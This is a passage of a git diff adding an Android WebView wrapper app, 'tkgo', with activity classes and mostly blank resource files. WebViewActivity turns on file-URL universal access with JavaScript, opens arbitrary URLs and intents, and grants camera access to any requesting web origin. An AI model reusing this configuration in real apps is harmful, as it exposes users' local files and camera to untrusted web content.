progressBar.setProgress(newProgress); + // 如果加载完成,隐藏进度条 + if (newProgress == 100) { + progressBar.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + } + + + // @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + @Override + public void onPermissionRequest(PermissionRequest request) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + MainActivity2.this.runOnUiThread(() -> { + for (String permisson : request.getResources()) { + permissionRequest = request; + if (permisson.equals(PermissionRequest.RESOURCE_VIDEO_CAPTURE)) { + if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.CAMERA) != 0) { + ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_CAMERA, 1111); + } else { + request.grant(request.getResources()); + request.getOrigin(); + } + + } + } + }); + } + } + }; + + private PermissionRequest permissionRequest; + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + + @Override + public void onRequestPermissionsResult(int requestCode, + String permissions[], int[] grantResults) { + if (grantResults.length == 0) { + return; + } + switch (requestCode) { + case REQUEST_EXTERNAL_STORAGE: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) { + } + break; + case 1111: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && permissionRequest != null) { + permissionRequest.grant(permissionRequest.getResources()); + } + break; + case 2222: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED) { +// readContact(); + } else { + + + } + break; + default: + break; + } + super.onRequestPermissionsResult(requestCode, permissions, grantResults); + } + + + @Override + public void onDestroy() { + + if (webView != null) { + //加载null内容 + webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + + super.onDestroy(); + } + + @Override + protected void onResume() { + super.onResume(); + } + + @Override + protected void onPause() { + super.onPause(); + + } + + + public static void saveInt(Context context, String key, int value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putInt(key, value); + editor.apply(); + } + + public static int getInt(Context context, String key, int defValue) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getInt(key, defValue); + } + + Handler mainHandler = new Handler(Looper.getMainLooper()); + + public boolean isApplicationBroughtToBackground(final Context context) { + ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE); + List tasks = am.getRunningTasks(1); + if (!tasks.isEmpty()) { + ComponentName topActivity = tasks.get(0).topActivity; + if (!topActivity.getPackageName().equals(context.getPackageName())) { + return true; + } + } + return false; + } + +} diff --git a/tkgo/src/main/java/com/web/tkgo/StatusLayout.java b/tkgo/src/main/java/com/web/tkgo/StatusLayout.java new file mode 100644 index 0000000..37943de --- /dev/null +++ b/tkgo/src/main/java/com/web/tkgo/StatusLayout.java @@ -0,0 +1,44 @@ +package com.web.tkgo; + +import android.content.Context; +import android.util.AttributeSet; +import android.view.ViewGroup; +import android.widget.LinearLayout; + +import androidx.annotation.Nullable; + +/** + * Created by kiun_2007 on 2018/3/29. + */ + +public class StatusLayout extends LinearLayout { + public StatusLayout(Context context) { + this(context, null); + } + + public StatusLayout(Context context, @Nullable AttributeSet attrs) { + this(context, attrs, 0); + } + + public StatusLayout(Context context, @Nullable AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + } + + private int getStatusBarHeight(Context context) { + int result = 0; + int resourceId = context.getResources().getIdentifier("status_bar_height", "dimen", "android"); + if (resourceId > 0) { + result = context.getResources().getDimensionPixelSize(resourceId); + } + return result; + } + + @Override + protected void onAttachedToWindow() { + ViewGroup.LayoutParams lp = this.getLayoutParams(); + lp.width = -1; + lp.height = getStatusBarHeight(getContext()); + this.setLayoutParams(lp); + super.onAttachedToWindow(); + } +} diff --git a/tkgo/src/main/java/com/web/tkgo/WebApplication.java b/tkgo/src/main/java/com/web/tkgo/WebApplication.java new file mode 100644 index 0000000..9e40d0a --- /dev/null +++ b/tkgo/src/main/java/com/web/tkgo/WebApplication.java @@ -0,0 +1,18 @@ +package com.web.tkgo; + +import android.app.Application; +import android.content.Context; + +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + } +} diff --git a/tkgo/src/main/java/com/web/tkgo/WebViewActivity.java b/tkgo/src/main/java/com/web/tkgo/WebViewActivity.java new file mode 100644 index 0000000..17c1c68 --- /dev/null +++ b/tkgo/src/main/java/com/web/tkgo/WebViewActivity.java @@ -0,0 +1,450 @@ +package com.web.tkgo; + + +import android.content.Intent; +import android.graphics.Bitmap; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.view.MotionEvent; +import android.view.View; +import android.view.WindowManager; +import android.webkit.ValueCallback; +import android.webkit.WebChromeClient; +import android.webkit.WebResourceError; +import android.webkit.WebResourceRequest; +import android.webkit.WebSettings; +import android.webkit.WebView; +import android.webkit.WebViewClient; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.TextView; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + + + +public class WebViewActivity extends AppCompatActivity { + + private String url; + WebView webView; + TextView tvErrorMsg; + LinearLayout layoutError; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + private FrameLayout videoContainer; + private ImageView backIv; + private ProgressBar progressBar; + private View topVvvv; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main2); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + url = getIntent().getStringExtra("url"); + initView(); + } + + private ValueCallback mUploadCallbackForHighApi; + + public void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + tvErrorMsg = findViewById(R.id.errormsg); + layoutError = findViewById(R.id.layoutError); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(false); + + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + +// settings.setBuiltInZoomControls(false); // 启用缩放功能 +// settings.setDisplayZoomControls(false); // 隐藏缩放控件 + + + webView.setWebChromeClient(new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + + WebView newWebView = new WebView(WebViewActivity.this); + topVvvv.setVisibility(View.VISIBLE); + webView.addView(newWebView); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; + progressBar.setVisibility(View.GONE); + webView.loadUrl(url); + return true; + } + }); + + // WebView newWebView = new WebView(view.getContext()); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// Intent browserIntent = new Intent(WebViewActivity.this, WebViewActivity.class); +// browserIntent.putExtra("url", url); +// startActivity(browserIntent); +// return true; +// } +// }); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// return true; + return true; + } + + + // @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + + }); + webView.setWebViewClient(new WebViewClient() { + + + @Override + public void onPageFinished(WebView view, String url) { + super.onPageFinished(view, url); + showTopLy.setVisibility(View.GONE); + progressBar.setVisibility(View.GONE); + topVvvv.setVisibility(View.VISIBLE); + + } + + @Override + public void onPageStarted(WebView view, String url, Bitmap favicon) { + super.onPageStarted(view, url, favicon); + progressBar.setVisibility(View.VISIBLE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { + super.onReceivedError(view, request, error); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + int errorCode = error.getErrorCode(); + String errorMessage = error.getDescription().toString(); + String currentUrl = request.getUrl().toString(); + LogUtils.d("onReceivedError2 url==" + url + " errorCode ==" + errorCode); + if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) { + onShowErrorView(errorMessage); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + LogUtils.d("onReceivedError2 url==" + failingUrl + " errorCode ==" + errorCode); + if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) { + onShowErrorView(description); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.d("url1111111111==" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + Toast.makeText(WebViewActivity.this, "下载开始,请稍后...", Toast.LENGTH_SHORT).show(); +// Constants.isUpdate = false; +// new AppUpdater(WebViewActivity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + LogUtils.d("url1111111111==2" + url1); + webView.loadUrl(url1); + return true; + } + + } + return false; + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url1) { + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 +// new AppUpdater(WebViewActivity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return false; + } + + } + + return false; + } + + + }); + webView.setOnGenericMotionListener(new View.OnGenericMotionListener() { + @Override + public boolean onGenericMotion(View view, MotionEvent motionEvent) { + return false; + } + }); + +// webView.setOnTouchListener(new View.OnTouchListener() { +// @Override +// public boolean onTouch(View view, MotionEvent motionEvent) { +// if (motionEvent.getAction() == MotionEvent.ACTION_DOWN) { +// webView.loadUrl("javascript:_IntervalResize(+\" + view + \",false)"); +// return true; +// } else { +// return false; +// } +// } +// }); + +// webView.onWindowFocusChanged(true); +// webView.setOnFocusChangeListener(new View.OnFocusChangeListener() { +// @Override +// public void onFocusChange(View view, boolean b) { +// LogUtils.d("B==" + b); +// view.invalidate(); +// } +// }); + if (url != null) { + webView.loadUrl(url); + } + } + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private boolean isNetError = false; + + public void onShowErrorView(String errorMsg) { //网络不可用的情况 + topVvvv.setVisibility(View.VISIBLE); + webView.setVisibility(View.GONE); + layoutError.setVisibility(View.VISIBLE); + tvErrorMsg.setText(errorMsg); + showTopLy.setVisibility(View.GONE); + isNetError = true; + + } + + public void onShowNetView() { + topVvvv.setVisibility(View.VISIBLE); + webView.setVisibility(View.VISIBLE); + layoutError.setVisibility(View.GONE); + showTopLy.setVisibility(View.GONE); + isNetError = false; + } + + + @Override + public void onBackPressed() { + if (webView.canGoBack()) {//当webview有多级能返回的时候 + onShowNetView(); + webView.goBack(); + } else {//不能返回了 + WebViewActivity.this.finish(); + } + } + + @Override + protected void onDestroy() { + if (webView != null) { + //加载null内容 + // webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + // webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + super.onDestroy(); + } +} diff --git a/tkgo/src/main/res/drawable-anydpi/ic_action_back.xml b/tkgo/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/tkgo/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/tkgo/src/main/res/drawable-hdpi/ic_action_back.png b/tkgo/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/tkgo/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/tkgo/src/main/res/drawable-mdpi/ic_action_back.png b/tkgo/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/tkgo/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/tkgo/src/main/res/drawable-v24/ic_launcher_foreground.xml b/tkgo/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/tkgo/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/drawable-xhdpi/ic_action_back.png b/tkgo/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/tkgo/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/tkgo/src/main/res/drawable-xxhdpi/ic_action_back.png b/tkgo/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/tkgo/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/tkgo/src/main/res/drawable/ic_launcher_background.xml b/tkgo/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/tkgo/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/tkgo/src/main/res/drawable/input_bg.xml b/tkgo/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/tkgo/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/tkgo/src/main/res/drawable/pass_word_bg.xml b/tkgo/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/tkgo/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/tkgo/src/main/res/drawable/pass_word_bg1.xml b/tkgo/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..77f04e3 --- /dev/null +++ b/tkgo/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/drawable/pass_word_bg2.xml b/tkgo/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/tkgo/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/drawable/shape_btn_bg.xml b/tkgo/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/tkgo/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/drawable/shape_dialog_bg2.xml b/tkgo/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/tkgo/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/drawable/shape_dialog_bg3.xml b/tkgo/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/tkgo/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/drawable/shape_dialog_bg_new.xml b/tkgo/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/tkgo/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/drawable/shape_notify_typebg.xml b/tkgo/src/main/res/drawable/shape_notify_typebg.xml new file mode 100644 index 0000000..3da849f --- /dev/null +++ b/tkgo/src/main/res/drawable/shape_notify_typebg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/layout/activity_main.xml b/tkgo/src/main/res/layout/activity_main.xml new file mode 100644 index 0000000..48eacca --- /dev/null +++ b/tkgo/src/main/res/layout/activity_main.xml @@ -0,0 +1,351 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/layout/activity_main2.xml b/tkgo/src/main/res/layout/activity_main2.xml new file mode 100644 index 0000000..75217c4 --- /dev/null +++ b/tkgo/src/main/res/layout/activity_main2.xml @@ -0,0 +1,145 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/tkgo/src/main/res/layout/activity_main3.xml b/tkgo/src/main/res/layout/activity_main3.xml new file mode 100644 index 0000000..abf7c32 --- /dev/null +++ b/tkgo/src/main/res/layout/activity_main3.xml @@ -0,0 +1,108 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/tkgo/src/main/res/layout/activity_notifydetails.xml b/tkgo/src/main/res/layout/activity_notifydetails.xml new file mode 100644 index 0000000..df856da --- /dev/null +++ b/tkgo/src/main/res/layout/activity_notifydetails.xml @@ -0,0 +1,95 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/tkgo/src/main/res/layout/activity_notifylist.xml b/tkgo/src/main/res/layout/activity_notifylist.xml new file mode 100644 index 0000000..fe0904a --- /dev/null +++ b/tkgo/src/main/res/layout/activity_notifylist.xml @@ -0,0 +1,44 @@ + + + + + + + + + + + + + + + + diff --git a/tkgo/src/main/res/layout/activity_start.xml b/tkgo/src/main/res/layout/activity_start.xml new file mode 100644 index 0000000..ad49056 --- /dev/null +++ b/tkgo/src/main/res/layout/activity_start.xml @@ -0,0 +1,294 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/layout/activity_webview.xml b/tkgo/src/main/res/layout/activity_webview.xml new file mode 100644 index 0000000..4ae52b3 --- /dev/null +++ b/tkgo/src/main/res/layout/activity_webview.xml @@ -0,0 +1,108 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/tkgo/src/main/res/layout/dialog_action_bankinfo.xml b/tkgo/src/main/res/layout/dialog_action_bankinfo.xml new file mode 100644 index 0000000..437c064 --- /dev/null +++ b/tkgo/src/main/res/layout/dialog_action_bankinfo.xml @@ -0,0 +1,228 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/layout/dialog_action_confirm.xml b/tkgo/src/main/res/layout/dialog_action_confirm.xml new file mode 100644 index 0000000..1c67709 --- /dev/null +++ b/tkgo/src/main/res/layout/dialog_action_confirm.xml @@ -0,0 +1,71 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/layout/dialog_action_invite.xml b/tkgo/src/main/res/layout/dialog_action_invite.xml new file mode 100644 index 0000000..9fd65ee --- /dev/null +++ b/tkgo/src/main/res/layout/dialog_action_invite.xml @@ -0,0 +1,89 @@ + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/layout/dialog_action_invite_records.xml b/tkgo/src/main/res/layout/dialog_action_invite_records.xml new file mode 100644 index 0000000..f770481 --- /dev/null +++ b/tkgo/src/main/res/layout/dialog_action_invite_records.xml @@ -0,0 +1,105 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/layout/dialog_action_withdrawapply.xml b/tkgo/src/main/res/layout/dialog_action_withdrawapply.xml new file mode 100644 index 0000000..9f0073e --- /dev/null +++ b/tkgo/src/main/res/layout/dialog_action_withdrawapply.xml @@ -0,0 +1,121 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/layout/dialog_select_action.xml b/tkgo/src/main/res/layout/dialog_select_action.xml new file mode 100644 index 0000000..846025f --- /dev/null +++ b/tkgo/src/main/res/layout/dialog_select_action.xml @@ -0,0 +1,76 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/layout/item_invite_records.xml b/tkgo/src/main/res/layout/item_invite_records.xml new file mode 100644 index 0000000..5e3a4c0 --- /dev/null +++ b/tkgo/src/main/res/layout/item_invite_records.xml @@ -0,0 +1,22 @@ + + + + + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/layout/item_withdraw_records.xml b/tkgo/src/main/res/layout/item_withdraw_records.xml new file mode 100644 index 0000000..a8e6205 --- /dev/null +++ b/tkgo/src/main/res/layout/item_withdraw_records.xml @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/tkgo/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/tkgo/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/tkgo/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/tkgo/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/tkgo/src/main/res/mipmap-hdpi/ic_empty.png b/tkgo/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/tkgo/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/tkgo/src/main/res/mipmap-hdpi/ic_pull_down.png b/tkgo/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/tkgo/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/tkgo/src/main/res/mipmap-xhdpi/ic_close.png b/tkgo/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/tkgo/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git 